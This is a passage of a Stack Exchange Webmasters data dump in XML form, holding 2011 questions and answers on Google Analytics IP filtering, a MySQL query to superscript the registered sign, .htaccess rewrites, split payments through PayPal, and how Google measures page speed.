comments.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've now asked this same [question][1] on google's forums.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=3d4e425f24dacaaa&amp;hl=en" />
  <row Id="37113" PostHistoryTypeId="2" PostId="15650" RevisionGUID="5ea6e144-221b-47ba-a643-600bba0b8c18" CreationDate="2011-06-21T13:30:05.677" UserId="7801" Text="Is it a good idea to filter our own IP addresses from our own websites in Google Analytics?&#xD;&#xA;&#xD;&#xA;On the one hand, the data is &quot;real&quot; but on the other are you losing browny points with Google as your getting less visits?&#xD;&#xA;&#xD;&#xA;Maybe I'm not understanding the filtering!?" />
  <row Id="37114" PostHistoryTypeId="1" PostId="15650" RevisionGUID="5ea6e144-221b-47ba-a643-600bba0b8c18" CreationDate="2011-06-21T13:30:05.677" UserId="7801" Text="Filtering your own IP's in Google Analytics, good or bad idea?" />
  <row Id="37115" PostHistoryTypeId="3" PostId="15650" RevisionGUID="5ea6e144-221b-47ba-a643-600bba0b8c18" CreationDate="2011-06-21T13:30:05.677" UserId="7801" Text="&lt;google-analytics&gt;" />
  <row Id="37116" PostHistoryTypeId="2" PostId="15651" RevisionGUID="af5e0a8c-13fc-407c-86d0-8cfee870eb6b" CreationDate="2011-06-21T13:34:50.333" UserId="8442" Text="I am web developer newbie. It doesn't mean that I don't know html/css/javascript but I am not good for web design. I am making a website for friend about a barber shop but I am not totally happy of my work due to lack of design. I would like to have some advice about the website and how can I improve the design? &#xD;&#xA;The website is in french because i am french. Here is the website : http://afrostyle92.fr/. " />
  <row Id="37117" PostHistoryTypeId="1" PostId="15651" RevisionGUID="af5e0a8c-13fc-407c-86d0-8cfee870eb6b" CreationDate="2011-06-21T13:34:50.333" UserId="8442" Text="Advice about a website design" />
  <row Id="37118" PostHistoryTypeId="3" PostId="15651" RevisionGUID="af5e0a8c-13fc-407c-86d0-8cfee870eb6b" CreationDate="2011-06-21T13:34:50.333" UserId="8442" Text="&lt;html&gt;&lt;websites&gt;&lt;design&gt;" />
  <row Id="37119" PostHistoryTypeId="2" PostId="15652" RevisionGUID="93346ea8-5fea-4e60-8817-384afae06938" CreationDate="2011-06-21T13:35:55.357" UserId="1643" Text="Yes! If the number of visits to your sites increased your brownie points (or search engine ranking) then we'd all find ways of increasing our visits through automatic clicking scripts and Google would stop using visits as a measure of popularity." />
  <row Id="37120" PostHistoryTypeId="2" PostId="15653" RevisionGUID="7fdc1b40-5d63-42d3-a9d8-9050dd057fc4" CreationDate="2011-06-21T13:42:36.677" UserId="8444" Text="Generally speaking yes you want to filter your own IP so you get better results.  But testing Analytics can be tough.  Sometimes we need to test a funnel or something complex and we need to generate the data ourselves so we need our company IP on.&#xD;&#xA;&#xD;&#xA;There really isn't a right or wrong answer here." />
  <row Id="37121" PostHistoryTypeId="2" PostId="15654" RevisionGUID="cac57d11-bdd3-4938-9ac2-c62c26695479" CreationDate="2011-06-21T13:43:00.317" UserId="1253" Text="[Google does not use traffic to rank web pages.][1]&#xD;&#xA;&#xD;&#xA;But you should still filter your IP address out of Google Analtyics if your goal is to have accurate statistics as to how many users you have and how they are using your site. You're only fooling yourself if you count your own visits in your site statistics.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3576/does-google-rate-the-webpage-by-amount-of-visits" />
  <row Id="37122" PostHistoryTypeId="10" PostId="15651" RevisionGUID="752bd0ca-5b71-4bee-b819-1723b2933d0f" CreationDate="2011-06-21T13:43:56.197" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="37123" PostHistoryTypeId="2" PostId="15655" RevisionGUID="dd6e32ff-dabc-4c32-a59e-9f4d6ad118dd" CreationDate="2011-06-21T14:18:34.447" UserId="6554" Text="You should get:&#xD;&#xA;&#xD;&#xA; - the weather and all climate related things you can find (rain, wind, etc.).&#xD;&#xA; - the events: sports, locals, any leasure-related&#xD;&#xA; - local hot spot: main bars and good place for spending time&#xD;&#xA; - administration-related things: where to ask for any paper you need, etc.&#xD;&#xA;&#xD;&#xA;Then, add some geo-localization, and you'll be able to:&#xD;&#xA;&#xD;&#xA; - propose a &quot;What to do now&quot; based on weather+events with time (e.g. propose beach on a sunny day, show music concert on a rainy day)&#xD;&#xA; - propose a &quot;What to do here&quot; based on places+events with geolocalization (e.g. propose a bar in which there is a free concert, or a nice french restaurant)&#xD;&#xA; - propose a &quot;How to do this&quot; that explain how to do certain task (e.g. renew your driving license, ask for new ID papers)&#xD;&#xA;&#xD;&#xA;After that, you can monetize your site with local-targeted advertising.&#xD;&#xA;" />
  <row Id="37124" PostHistoryTypeId="2" PostId="15656" RevisionGUID="6eeabf30-cbd8-4d9f-a248-0d340b7a1755" CreationDate="2011-06-21T14:53:20.437" UserId="6554" Text="I think you can go by handling the non-fixed price yourself.&#xD;&#xA;&#xD;&#xA;The thing is to propose a nice UI to increment/decrement the price (a form with +/-).&#xD;&#xA;You can even propose to copy the average price of the last 5 people who bought this item.&#xD;&#xA;&#xD;&#xA;When the price is set, you can handle the form :&#xD;&#xA;&#xD;&#xA; - if it's &lt; 1$, just say &quot;Thank you for your offer, but with the paypal transaction cost, I don't get a penny, so I prefer to offer the product to you. Here is the link. If you really want to buy it, you can go back to the previous page.&quot;&#xD;&#xA; - if it's &gt; 1$, &quot;Thanks for your purchase, just click this button to pay with Paypal&quot; and you generate the button with the amount&#xD;&#xA;&#xD;&#xA;Note that the paypal button appears only at the last stage, you can also propose other payment methods.&#xD;&#xA;&#xD;&#xA;If you have several items, you can use a shopping system and set all prices to 0 and customize it to not show the prices anywhere.&#xD;&#xA;Then, on the last page, you ask for the total payment the user want to do and use your customized form instead of the one proposed by the shopping system." />
  <row Id="37125" PostHistoryTypeId="25" PostId="15650" RevisionGUID="de6535e6-6ef5-4557-9618-598ebddf1dba" CreationDate="2011-06-21T15:24:48.960" Comment="http://twitter.com/#!/StackWebmasters/status/83193660421836802" />
  <row Id="37133" PostHistoryTypeId="25" PostId="15635" RevisionGUID="dbce3819-4803-454f-8b13-6b09b29ee91a" CreationDate="2011-06-21T18:24:50.320" Comment="http://twitter.com/#!/StackWebmasters/status/83238962642165760" />
  <row Id="37134" PostHistoryTypeId="2" PostId="15659" RevisionGUID="9c59180b-5beb-467f-8744-c94f7facb128" CreationDate="2011-06-21T20:27:35.477" UserId="3610" Text="I received great advice from a member of google's forums. The jist of which is that a transfer request is not possible using webmaster tools however 301 redirects will achieve the same effect in any case. Additionally, the general consensus from this answer and the rest of the net is that subfolders are more intuitive.&#xD;&#xA;&#xD;&#xA;The full reply can be read [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=3d4e425f24dacaaa&amp;hl=en&amp;fid=3d4e425f24dacaaa0004a63ea3452286" />
  <row Id="37135" PostHistoryTypeId="2" PostId="15660" RevisionGUID="22ed7b6c-86c3-4a49-9c07-c8558535b920" CreationDate="2011-06-21T21:14:59.807" UserId="8449" Text="Finishing up development work for a client and they have a late request to superscript every occurrence of the &amp;reg character throughout the site. I merely get by with CSS, but not even sure CSS provides the best solution here. how can I make a global change to every occurrence of a single character in the site copy without going back and adding tags everywhere? &#xD;&#xA;&#xD;&#xA;if the best solution *does* involve inserting a span or other tag I'm thinking it could be accomplished with a database query (all the copy is wired up to a CMS)." />
  <row Id="37136" PostHistoryTypeId="1" PostId="15660" RevisionGUID="22ed7b6c-86c3-4a49-9c07-c8558535b920" CreationDate="2011-06-21T21:14:59.807" UserId="8449" Text="how can I superscript a single character throughout my site?" />
  <row Id="37137" PostHistoryTypeId="3" PostId="15660" RevisionGUID="22ed7b6c-86c3-4a49-9c07-c8558535b920" CreationDate="2011-06-21T21:14:59.807" UserId="8449" Text="&lt;css3&gt;" />
  <row Id="37138" PostHistoryTypeId="25" PostId="15643" RevisionGUID="cc722b67-5d98-491c-b6fd-12b8b5340c51" CreationDate="2011-06-21T21:24:50.867" Comment="http://twitter.com/#!/StackWebmasters/status/83284263952322561" />
  <row Id="37139" PostHistoryTypeId="2" PostId="15661" RevisionGUID="becc614f-e999-4559-9751-63ea0a4a85d1" CreationDate="2011-06-21T22:09:25.900" UserId="1253" Text="If the content is in a database you should be able to replace all `&amp;reg` in their content with one query (assuming it is all in one table). It would look like this (assuming MySQL):&#xD;&#xA;&#xD;&#xA;    UPDATE tablename SET fieldname = REPLACE(fieldname, '&amp;reg', '&lt;span class=&quot;superscript&quot;&gt;&amp;reg&lt;/span&gt;')&#xD;&#xA;&#xD;&#xA;Naturally the class `superscript` will contain the CSS to make the text superscript and have any other characteristics you want." />
  <row Id="37140" PostHistoryTypeId="4" PostId="11097" RevisionGUID="c355b06e-7a03-4b4a-81c1-1013ec50472c" CreationDate="2011-06-21T22:11:55.850" UserId="1076" Comment="typo in title" Text="Broken Links in different browsers" />
  <row Id="37141" PostHistoryTypeId="24" PostId="11097" RevisionGUID="c355b06e-7a03-4b4a-81c1-1013ec50472c" CreationDate="2011-06-21T22:11:55.850" Comment="Proposed by 1076 approved by 1253 edit id of 404" />
  <row Id="37142" PostHistoryTypeId="2" PostId="15662" RevisionGUID="e5c3f11e-3966-4f13-8258-4c9e2c7ce3ce" CreationDate="2011-06-21T22:13:16.520" UserId="8450" Text="Google webmaster tools is reporting some/many 404 urls that don't exist on my site.  The links are things such as domain.com/xyz/   However that doesn't exist, but domain.com/xyz/index.html does exist.  The &quot;linked from&quot; pages all show proper links to the &quot;/xyz/index.html&quot;.  &#xD;&#xA;&#xD;&#xA;The page without index.html DOES 404, but why is google even trying these urls if they are not linked to?&#xD;&#xA;&#xD;&#xA;My real question, is there a way to have google stop attempting to load these pages, and ultimately remove these from the crawl errors report.  Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37143" PostHistoryTypeId="1" PostId="15662" RevisionGUID="e5c3f11e-3966-4f13-8258-4c9e2c7ce3ce" CreationDate="2011-06-21T22:13:16.520" UserId="8450" Text="Webmaster tools showing 404 for non existent folder pages" />
  <row Id="37144" PostHistoryTypeId="3" PostId="15662" RevisionGUID="e5c3f11e-3966-4f13-8258-4c9e2c7ce3ce" CreationDate="2011-06-21T22:13:16.520" UserId="8450" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="37145" PostHistoryTypeId="2" PostId="15663" RevisionGUID="072d8468-c4de-4386-8879-ff26ce329ed5" CreationDate="2011-06-21T22:22:19.693" UserId="1253" Text="Google is probably trying them because someone has linked to those pages on their website or Google is assuming their is an index page for all of your directories of which there are none.&#xD;&#xA;&#xD;&#xA;You have two possible solutions:&#xD;&#xA;&#xD;&#xA;1. Do a 301 redirect from the `/xyz/` to `/xyz/index.html`, etc. This will tell Google that `/xyz/` has moved to `/xyz/index.html` and to stop looking for it.&#xD;&#xA;&#xD;&#xA;2. Tell Apache to use index.html as the index file for your directories. You can do that by placing this snippet in a file called `.htaccess` and placing it in your web root:&#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.html&#xD;&#xA;&#xD;&#xA;If you choose option two be sure to also use [canonical URLs][1] on your index.html pages so you avoid duplicate content issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="37146" PostHistoryTypeId="5" PostId="15661" RevisionGUID="2567cb3b-4b0e-406e-97a7-6f61a631a042" CreationDate="2011-06-21T22:24:11.660" UserId="1253" Comment="added 3 characters in body" Text="If the content is in a database you should be able to replace all `&amp;reg;` in their content with one query (assuming it is all in one table). It would look like this (assuming MySQL):&#xD;&#xA;&#xD;&#xA;    UPDATE tablename SET fieldname = REPLACE(fieldname, '&amp;reg;', '&lt;span class=&quot;superscript&quot;&gt;&amp;reg;&lt;/span&gt;')&#xD;&#xA;&#xD;&#xA;Naturally the class `superscript` will contain the CSS to make the text superscript and have any other characteristics you want." />
  <row Id="37147" PostHistoryTypeId="5" PostId="15660" RevisionGUID="cfe0b6ee-e7f2-4856-90fd-467f9d8bbfed" CreationDate="2011-06-21T22:29:53.370" UserId="1253" Comment="modified tags; edited title" Text="Finishing up development work for a client and they have a late request to superscript every occurrence of the &amp;reg character throughout the site. I merely get by with CSS, but not even sure CSS provides the best solution here. how can I make a global change to every occurrence of a single character in the site copy without going back and adding tags everywhere? &#xD;&#xA;&#xD;&#xA;if the best solution *does* involve inserting a span or other tag I'm thinking it could be accomplished with a database query (all the copy is wired up to a CMS). " />
  <row Id="37148" PostHistoryTypeId="6" PostId="15660" RevisionGUID="cfe0b6ee-e7f2-4856-90fd-467f9d8bbfed" CreationDate="2011-06-21T22:29:53.370" UserId="1253" Comment="modified tags; edited title" Text="&lt;web-development&gt;" />
  <row Id="37149" PostHistoryTypeId="4" PostId="15660" RevisionGUID="cfe0b6ee-e7f2-4856-90fd-467f9d8bbfed" CreationDate="2011-06-21T22:29:53.370" UserId="1253" Comment="modified tags; edited title" Text="How can I superscript a single character throughout my site?" />
  <row Id="37150" PostHistoryTypeId="5" PostId="15661" RevisionGUID="34036cea-94c8-4fb0-863a-2c83f050d56c" CreationDate="2011-06-21T22:32:22.620" UserId="1253" Comment="deleted 45 characters in body" Text="If the content is in a database you should be able to replace all `&amp;reg;` in their content with one query (assuming it is all in one table). It would look like this (assuming MySQL):&#xD;&#xA;&#xD;&#xA;    UPDATE tablename SET fieldname = REPLACE(fieldname, '&amp;reg;', '&lt;sup&gt;&amp;reg;&lt;/sup&gt;')&#xD;&#xA;&#xD;&#xA;**edit**&#xD;&#xA;&#xD;&#xA;I just used the `&lt;sup&gt;` tag instead of CSS. You can obviously choose which method you prefer." />
  <row Id="37151" PostHistoryTypeId="2" PostId="15664" RevisionGUID="edc66b25-097c-487a-9817-9e1aa158d96e" CreationDate="2011-06-21T23:19:55.713" UserId="8451" Text="I'm looking for a payment gateway that can be used in a website with multiple sellers. Let's say that depending on the purchased item, a given seller/merchant should receive the money.&#xD;&#xA;&#xD;&#xA;Would that be possible using only one &quot;master merchant&quot; account that would act as a &quot;distributor&quot; of funds for several &quot;sub-merchants&quot;?&#xD;&#xA;&#xD;&#xA;Does any well established privider (paypal, worldpay, auth.net, etc) supports this?" />
  <row Id="37152" PostHistoryTypeId="1" PostId="15664" RevisionGUID="edc66b25-097c-487a-9817-9e1aa158d96e" CreationDate="2011-06-21T23:19:55.713" UserId="8451" Text="Solution for payment gateway with multiple sellers" />
  <row Id="37153" PostHistoryTypeId="3" PostId="15664" RevisionGUID="edc66b25-097c-487a-9817-9e1aa158d96e" CreationDate="2011-06-21T23:19:55.713" UserId="8451" Text="&lt;ecommerce&gt;&lt;payments&gt;&lt;payment-gateway&gt;" />
  <row Id="37154" PostHistoryTypeId="2" PostId="15665" RevisionGUID="bbad4d4f-b2fd-4507-b489-b80f8bfd17b0" CreationDate="2011-06-21T23:25:13.837" UserId="1253" Text="You need [Paypal Adaptive Payments][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Adaptive Payments offers a number of&#xD;&#xA;&gt; features, including:&#xD;&#xA;&gt; &#xD;&#xA;&gt; Pay anyone with an email address. Make&#xD;&#xA;&gt; payments to another person as long as&#xD;&#xA;&gt; they have an email address or mobile&#xD;&#xA;&gt; phone number, with or without a PayPal&#xD;&#xA;&gt; account. Recipients without a PayPal&#xD;&#xA;&gt; account can create one in minutes.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Receive payments from anyone.&#xD;&#xA;&gt; Customers, with or without a PayPal&#xD;&#xA;&gt; account, can make a payment as long as&#xD;&#xA;&gt; they have an email address.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Pre-approved payments. Customers can&#xD;&#xA;&gt; pre-approve future payments.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Disbursements. Make payments from any&#xD;&#xA;&gt; of your available funding sources. Use&#xD;&#xA;&gt; disbursements to enable payroll&#xD;&#xA;&gt; payments, rebate payments, reward&#xD;&#xA;&gt; payments, and more.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Simple payments. As always, make a&#xD;&#xA;&gt; simple one-to-one payment.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Chained payments. Send a payment to&#xD;&#xA;&gt; one individual, who in turn shares the&#xD;&#xA;&gt; payment with multiple individuals.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Split payments. Divide a payment among&#xD;&#xA;&gt; a number of individuals.**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Retrieve Foreign Exchange rates. Send&#xD;&#xA;&gt; a list of amounts and currencies and&#xD;&#xA;&gt; get the converted amounts for the&#xD;&#xA;&gt; requested currencies.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Refund payments: Refund payments made&#xD;&#xA;&gt; through an application.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Embedded payments: Reduce checkout&#xD;&#xA;&gt; friction and increase conversion rates&#xD;&#xA;&gt; with inline checkout.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.x.com/community/ppx/adaptive_payments" />
  <row Id="37155" PostHistoryTypeId="5" PostId="15599" RevisionGUID="b95238e9-674e-4a21-ac50-ca8b0d6309ab" CreationDate="2011-06-21T23:54:26.093" UserId="8354" Comment="added 587 characters in body" Text="1) On your website, make sure that you generate **PROPER** URLs, e.g. `http://minecraft.domain.com/1/lorem-ipsum` instead of `/article.php?id=1&amp;category=Minecraft&amp;Name=Lorem+Ipsum`&#xD;&#xA;&#xD;&#xA;Here, the acceptable characters for the article name is:&#xD;&#xA;    &#xD;&#xA;- any latin characters (can be mixed case, but I would recommend to have all lower case)&#xD;&#xA;- digits&#xD;&#xA;- underscore char `_`&#xD;&#xA;- minus char `-`&#xD;&#xA;&#xD;&#xA;Any other characters should be replaced by `-`. If during URL normalisation you end up with more that 1 `-` character next to each other -- remove such extra chars. The article name should not start or end with `-` or `_`.&#xD;&#xA;&#xD;&#xA;Example of normalisation process (step-by-step):&#xD;&#xA;&#xD;&#xA;- `Oops! I did it again!` -- initial text&#xD;&#xA;- `oops--i-did-it-again-` -- after replacing unwanted characters by `-`&#xD;&#xA;- `oops-i-did-it-again-` -- removing duplicated `-` characters&#xD;&#xA;- `oops-i-did-it-again` -- final sting after removing trailing `-`&#xD;&#xA;&#xD;&#xA;2) Setup your subdomain `minecraft.domain.com` to point into the same root folder as `domain.com`&#xD;&#xA;&#xD;&#xA;3) Add these rules into your .htaccess&#xD;&#xA;&#xD;&#xA;    # Activate Rewrite Engine&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    # Do not do anything for already existing files&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -f [OR]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -d&#xD;&#xA;    RewriteRule .+ - [L]&#xD;&#xA;    # rewrite root (topic) hit&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^minecraft\.domain\.com$&#xD;&#xA;    RewriteRule ^$ /topic.php?category=Minecraft [QSA,L]&#xD;&#xA;    # rewrite article hits&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^minecraft\.domain\.com$&#xD;&#xA;    RewriteRule ^(\d+)/([a-z0-9\-_]+)$ /article.php?id=$1&amp;category=Minecraft&amp;Name=$2 [NC,QSA,L]&#xD;&#xA;&#xD;&#xA;These rules will do these rewrites:&#xD;&#xA;&#xD;&#xA;`minecraft.domain.com` =&gt; `/topic.php?category=Minecraft`&#xD;&#xA;&#xD;&#xA;`minecraft.domain.com/1/lorem-ipsum` =&gt; `/article.php?id=1&amp;category=Minecraft&amp;Name=lorem-ipsum`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;These rules will work for any subdomains (including www.domain.com) -- replace last 6 lines from previous snippet:&#xD;&#xA;&#xD;&#xA;    # rewrite root (topic) hit&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^([a-z0-9\-]+)\.domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^$ /topic.php?category=%1 [QSA,L]&#xD;&#xA;    # rewrite article hits&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^([a-z0-9\-]+)\.domain\.com$ [NC]&#xD;&#xA;    RewriteRule ^(\d+)/([a-z0-9\-_]+)$ /article.php?id=$1&amp;category=%1&amp;Name=$2 [NC,QSA,L]&#xD;&#xA;&#xD;&#xA;It is YOUR responsibility to generate PROPER URLs. The above rules will make these NICE urls working." />
  <row Id="37156" PostHistoryTypeId="25" PostId="15664" RevisionGUID="f07b5c76-2617-448e-bb38-95791d163b0f" CreationDate="2011-06-22T00:24:50.587" Comment="http://twitter.com/#!/StackWebmasters/status/83329561458257920" />
  <row Id="37157" PostHistoryTypeId="17" PostId="15666" RevisionGUID="cfbc3ed6-0ff5-429d-b8ea-6e7f13c39338" CreationDate="2011-06-22T02:08:33.143" UserId="-1" Comment="from http://stackoverflow.com/questions/6422678/different-confirmation-boxes-on-firefox-when-running-remotewebdriver-tests" Text="" />
  <row Id="37158" PostHistoryTypeId="2" PostId="15666" RevisionGUID="256d91e6-80d9-4efa-8183-0d12c1249ee4" CreationDate="2011-06-21T08:52:41.410" UserDisplayName="vaidab" Text="When testing my webapp manually I get a confirm box: ![http://dl.dropbox.com/u/1342388/syneto/good_conf_box_1.png][1], the browser renders it with an overlay, but when run with remotewebdriver the overlay is not present and the confirm is in a window ![http://dl.dropbox.com/u/1342388/syneto/bad_conf_box_1.png][2], any idea why is this happening?&#xD;&#xA;&#xD;&#xA;Same browser, FF4.&#xD;&#xA;The remotewebdriver sends an instantiated FirefoxProfile without modifications that adds this [user.js](http://dl.dropbox.com/u/1342388/syneto/user.js) to the Firefox Profile.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dl.dropbox.com/u/1342388/syneto/good_conf_box_1.png&#xD;&#xA;  [2]: http://dl.dropbox.com/u/1342388/syneto/bad_conf_box_1.png" />
  <row Id="37159" PostHistoryTypeId="1" PostId="15666" RevisionGUID="256d91e6-80d9-4efa-8183-0d12c1249ee4" CreationDate="2011-06-21T08:52:41.410" UserDisplayName="vaidab" Text="different confirmation boxes on firefox when running remotewebdriver tests" />
  <row Id="37160" PostHistoryTypeId="3" PostId="15666" RevisionGUID="256d91e6-80d9-4efa-8183-0d12c1249ee4" CreationDate="2011-06-21T08:52:41.410" UserDisplayName="vaidab" Text="&lt;firefox&gt;&lt;testing&gt;" />
  <row Id="37161" PostHistoryTypeId="2" PostId="15667" RevisionGUID="c4bfb060-b586-4dae-a54a-a0e1be1b194f" CreationDate="2011-06-22T02:17:15.620" UserId="1341" Text="we all know that Google's affects your page rank with the load time of a page. How? That's part of the secret sauce. But we know that page speed is a serious factor.&#xD;&#xA;&#xD;&#xA;So -&gt; what is considered the speed of a page?&#xD;&#xA;&#xD;&#xA;Is it just the first (and main) html file which the GET receives? Or does it also include loading of images as part of that speed.&#xD;&#xA;&#xD;&#xA;so for example...&#xD;&#xA;&#xD;&#xA;`GET /index.htm &lt;- takes 0.45 seconds to retrieve (including DNS lookup before).`&#xD;&#xA;&#xD;&#xA;*robot parses page.. see's there's a single main image....* &#xD;&#xA;&#xD;&#xA;`GET /img/main.png &lt;- takes 5 seconds to download.`&#xD;&#xA;&#xD;&#xA;is the page speed for that resource, 0.45 seconds OR 5.45 seconds?&#xD;&#xA;&#xD;&#xA;I understand Javascript is not fired .. but are any of these external resources all downloaded and part of the page speed?" />
  <row Id="37162" PostHistoryTypeId="1" PostId="15667" RevisionGUID="c4bfb060-b586-4dae-a54a-a0e1be1b194f" CreationDate="2011-06-22T02:17:15.620" UserId="1341" Text="Does Google include the time to load images, for a single page, as part of the page speed?" />
  <row Id="37163" PostHistoryTypeId="3" PostId="15667" RevisionGUID="c4bfb060-b586-4dae-a54a-a0e1be1b194f" CreationDate="2011-06-22T02:17:15.620" UserId="1341" Text="&lt;seo&gt;&lt;google&gt;&lt;page-speed&gt;" />
  <row Id="37164" PostHistoryTypeId="2" PostId="15668" RevisionGUID="2e22ee4a-232b-488f-b8b8-8d00dbc075a9" CreationDate="2011-06-22T02:35:15.547" UserId="1253" Text="Yes, they do count images. The count how long it takes to download the HTML and all static (JavaScript, CSS) and embedded content (images, flash) on the page. &#xD;&#xA;&#xD;&#xA;From [here][1] (this isn't specifically about Google algorithm but it matches everything I have found about it so far):&#xD;&#xA;&#xD;&#xA;&gt; The &quot;Performance overview&quot; graph in&#xD;&#xA;&gt; the Labs Site performance page tracks&#xD;&#xA;&gt; the total loading time of the page,&#xD;&#xA;&gt; from the initial request to the point&#xD;&#xA;&gt; the browser finishes its rendering.&#xD;&#xA;&gt; This includes the downloading of the&#xD;&#xA;&gt; page, the related assets (CSS,&#xD;&#xA;&gt; Javascript, images, etc), and the time&#xD;&#xA;&gt; the browser needs to execute the&#xD;&#xA;&gt; Javascript.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=642b7eeb31842800&amp;hl=en" />
  <row Id="37165" PostHistoryTypeId="5" PostId="15668" RevisionGUID="7c8146c4-9581-40d4-9bb5-3cd602d2626c" CreationDate="2011-06-22T02:40:24.963" UserId="1253" Comment="added 376 characters in body" Text="Yes, they do count images. The count how long it takes to download the HTML and all static (JavaScript, CSS) and embedded content (images, flash) on the page. &#xD;&#xA;&#xD;&#xA;From [here][1] (this isn't specifically about Google algorithm but it matches everything I have found about it so far):&#xD;&#xA;&#xD;&#xA;&gt; The &quot;Performance overview&quot; graph in&#xD;&#xA;&gt; the Labs Site performance page tracks&#xD;&#xA;&gt; the total loading time of the page,&#xD;&#xA;&gt; from the initial request to the point&#xD;&#xA;&gt; the browser finishes its rendering.&#xD;&#xA;&gt; This includes the downloading of the&#xD;&#xA;&gt; page, the related assets (CSS,&#xD;&#xA;&gt; Javascript, images, etc), and the time&#xD;&#xA;&gt; the browser needs to execute the&#xD;&#xA;&gt; Javascript.&#xD;&#xA;&#xD;&#xA;Additional anecdotal evidence would be [Google's official announcement about this change in their algorithm][2] they mention Page Speed tools. All of them recommend optimizing images both in size and download speed (usually through uise of a CDN or cookieless domain). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=642b7eeb31842800&amp;hl=en&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="37166" PostHistoryTypeId="5" PostId="15668" RevisionGUID="72d7509f-5a33-44f0-8eac-fb8fb2b80e40" CreationDate="2011-06-22T02:48:20.137" UserId="1253" Comment="added 81 characters in body" Text="Yes, they do count images. The count how long it takes to download the HTML and all static (JavaScript, CSS) and embedded content (images, flash) on the page. &#xD;&#xA;&#xD;&#xA;From [here][1] (this isn't specifically about Google algorithm but it matches everything I have found about it so far including [Matt Cutts post][2]):&#xD;&#xA;&#xD;&#xA;&gt; The &quot;Performance overview&quot; graph in&#xD;&#xA;&gt; the Labs Site performance page tracks&#xD;&#xA;&gt; the total loading time of the page,&#xD;&#xA;&gt; from the initial request to the point&#xD;&#xA;&gt; the browser finishes its rendering.&#xD;&#xA;&gt; This includes the downloading of the&#xD;&#xA;&gt; page, the related assets (CSS,&#xD;&#xA;&gt; Javascript, images, etc), and the time&#xD;&#xA;&gt; the browser needs to execute the&#xD;&#xA;&gt; Javascript.&#xD;&#xA;&#xD;&#xA;Additional anecdotal evidence would be [Google's official announcement about this change in their algorithm][3] they mention Page Speed tools. All of them recommend optimizing images both in size and download speed (usually through uise of a CDN or cookieless domain). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=642b7eeb31842800&amp;hl=en&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/site-speed/&#xD;&#xA;  [3]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="37167" PostHistoryTypeId="2" PostId="15669" RevisionGUID="1fe00911-79b3-4fe6-82d6-11c1f38e8086" CreationDate="2011-06-22T03:00:54.880" UserId="8456" Text="This is a self-answered question... After much wrangling I found the magic combination of mod_rewrite rules so I'm posting here.&#xD;&#xA;&#xD;&#xA;My scenario is that I have two domains - domain1.com and domain2.com - both of which are currently serving identical content (by way of a global 301 redirect from domain1 to domain2). Domain1 was then chosen to be repurposed to be a 'portal' domain - with a corporate CMS-based site leading off from the front page, and the existing 'retail' domain (domain2) left to serve the main web site.&#xD;&#xA;&#xD;&#xA;In addition, a staging subdomain was created on domain1 in order to prepare the new corporate site without impinging on the root domain's existing operation. I contemplated just rewriting all requests to domain2 and setting up the new corporate site 'behind the scenes' without using a staging domain, but I usually use subdomains when setting up new sites.&#xD;&#xA;&#xD;&#xA;Finally, I required access to the 'actual' contents of the domains and subdomains - i.e., to not be redirected like all other visitors - in order that I can develop the new site and test it in the staging environment on the live server, as I'm not using a separate development webserver in this case. I also have another test subdomain on domain1 which needed to be preserved.&#xD;&#xA;&#xD;&#xA;The way I eventually set it up was as follows: _(10.2.2.1 would be my home WAN IP)_&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;.htaccess in root of domain1&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !^10\.2\.2\.1&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^staging.domain1.com$ [NC]&#xD;&#xA;    